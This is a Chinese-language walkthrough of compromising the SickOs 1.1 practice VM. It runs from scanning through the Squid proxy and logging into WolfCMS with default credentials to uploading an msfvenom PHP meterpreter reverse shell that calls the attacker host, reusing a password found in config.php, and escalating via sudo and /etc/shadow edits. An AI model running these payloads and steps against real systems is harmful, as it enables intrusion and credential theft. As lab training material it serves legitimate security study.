实验环境
攻击者 Kali 192.168.192.128
受害者 sickos1.1 IP未知
攻击者和受害者在同一网段
1. 信息收集
nmap -sn 192.168.192.0/24
受害者IP为 192.168.192.159
收集受害者服务详情
nmap -sV -A 192.168.192.159
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.1 (Ubuntu Linux; protocol 2.0)
3128/tcp open http-proxy Squid http proxy 3.1.19
|_http-title: ERROR: The requested URL could not be retrieved
|_http-server-header: squid/3.1.19
8080/tcp closed http-proxy
我们看到有3128的Squid代理服务
https://book.hacktricks.xyz/network-services-pentesting/3128-pentesting-squid
使用专门的扫描工具来扫描
python spose.py --proxy http://192.168.192.159:3128 --target 192.168.192.159
80端口是开着的 但我们要用代理来访问
firefox 设置代理
所以我们要借助代理来扫描
首先nikto
nikto -host=http://192.168.192.159:3128
有个robots.txt
FUZZ测试
export URL="http://192.168.192.159/wolfcms/FUZZ"
#模糊测试目录 排除404网页
wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt --hc 404 "$URL"
#模糊测试文件 排除404网页
wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/raft-large-files.txt --hc 404 "$URL"
有几个有意思的页面 但访问过去是空的
2. 漏洞发现和利用
上Google查一下 WolfCMS的URL和默认密码
http://192.168.192.159/wolfcms/?/admin/login
用一下弱密码
用户名admin 密码admin就进去了
到files里面 发现可以上传文件
猜测是文件上传漏洞
制作木马
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.192.128 LPORT=3333 -o payload.php
metasploit监听
msfconsole -q
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.192.128
set lport 3333
exploit
上传木马
发现文件都上传到public目录中
http://192.168.192.159/wolfcms/public/
点击payload.php过后meterpreter就到了
3. 后渗透阶段
先拿到交互式shell
meterpreter > shell
python -c 'import pty; pty.spawn("/bin/bash")'
看一下版本信息和内核信息
uname -a
cat /etc/*-release
测试了一下不能内核提权
看一下网络信息
netstat -antlp
数据库监听在本地
我们找一下能不能找到用户名和密码
首先还是到网站根目录
cd /var/www/wolfcms
cat config.php
用户名是root和john@123
看完数据库之后发现都是已经知道的信息
去家目录看看
cd /home
ls -al
total 12
drwxr-xr-x 3 root root 4096 Sep 22 2015 .
drwxr-xr-x 22 root root 4096 Sep 22 2015 ..
drwxr-xr-x 3 sickos sickos 4096 Feb 18 12:40 sickos
发现一个sickos的用户 不知道密码
经过尝试 哪个john@123是sickos的密码 无厘头的设计
登录sickos账号
su sickos
看一下家目录 没有什么有意思的
看一下权限
sickos@SickOs:~$ sudo -l
sudo -l
[sudo] password for sickos: john@123
Matching Defaults entries for sickos on this host:
env_reset,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User sickos may run the following commands on this host:
(ALL : ALL) ALL
竟然什么权限都有 只要sudo + 命令就是root权限来操作了
那我们就可以改/etc/shadow了
查看一下/etc/shadow
现在我们直到sickos的密码了 那我们就把root密码改成sickos的密码 这样我们就能用john@123来登录root账号
把root划线划线的部分删除改成sickos划线的那一个部分
然后登录root用户
用户名root 密码john@123
我们到此就提权成功了
查看/root目录 就得到了flag
实验结束